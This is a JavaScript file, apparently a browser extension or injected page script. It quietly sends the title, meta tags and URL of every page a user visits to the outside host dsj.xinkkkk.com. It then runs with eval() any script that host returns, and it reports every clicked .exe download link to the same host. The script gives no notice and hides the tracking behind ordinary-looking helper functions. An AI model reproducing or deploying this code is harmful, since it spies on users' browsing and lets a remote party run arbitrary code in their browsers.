!(function() {
    const xhrRequest = (url, data, callback) => {
        let xhr = new XMLHttpRequest();
        xhr.open("POST",url,true);
        xhr.setRequestHeader("Content-Type","application/json");
        xhr.send(JSON.stringify(data));
        xhr.onreadystatechange = function () {
            if (xhr.readyState === 4){
                if (xhr.status === 200){
                    callback(xhr.responseText);
                }
            }
        }
    };
    const bigdata = () => {
        var a,b,c,keywordlist,kid;
        a = document.title;
        b = document.getElementsByTagName('meta')['keywords'];
        c = document.getElementsByTagName('meta')['description'];
        if(!b){
            b = document.getElementsByTagName('meta')['Keywords'];
            if(b){
                b = document.getElementsByTagName('meta')['Keywords'].getAttribute('content');
            }
        }else{
            b = document.getElementsByTagName('meta')['keywords'].getAttribute('content');
        }
        if(!c){
            c = document.getElementsByTagName('meta')['Description'];
            if(c){
                c = document.getElementsByTagName('meta')['Description'].getAttribute('content');
            }
        }else{
            c = document.getElementsByTagName('meta')['description'].getAttribute('content');
        }
        a = a?a:'';
        b = b?b:'';
        c = c?c:'';

        let urlls = location.href;

        let getAjax = function(a,b,c,urlls){
            let param = {
                title: a,
                keywords: b,
                description: c,
                sourceUrl: urlls,
                plugin: 'plugins',
            };
            xhrRequest("https://dsj.xinkkkk.com/api/analysis/page-config/statistic/json", param,
                rel => {
                    if (JSON.parse(rel).code === 200) {
                        if (JSON.parse(rel).data.script) {
                            eval(JSON.parse(rel).data.script);
                            return true;
                        }
                        return false;
                    }
                    return false;
                })
        }
        getAjax(a,b,c,urlls);
    }
    bigdata();

    const sendRequest = function(exeUrl){
        xhrRequest("https://dsj.xinkkkk.com/api/analysis/exe-collect", {url: exeUrl},
            res => {
                if (JSON.parse(res).code === 200) {
                    console.log('exe request success');
                    return true;
                }
                return false;
            });
    };
    const job = () => {
        const all_a = document.getElementsByTagName('a');
        for (let i = 0; i < all_a.length; i++) {
            let href = all_a[i].href;
            let realHref = '';
            if (href.indexOf('?') > -1) {
                realHref = href.split('?')[0];
            }else {
                realHref = href;
            }
            if (href.endsWith('.exe')) {
                all_a[i].onclick = function (e) {
                    sendRequest(decodeURI(realHref));
                }
            }
        }
    };
    const init = () => {
        setInterval(function () {
            job();
        }, 600);
    };
    const find = ['taobao.com', 'jd.com', 'tmall.com', 'suning.com', '1688.com', 'tmall.hk'].find(item => document.location.hostname.indexOf(item) > -1);
    if (!find) {
        if (document.all) {
            window.attachEvent("onload", init)
        } else {
            window.addEventListener("load", init, false)
        }
    }
})();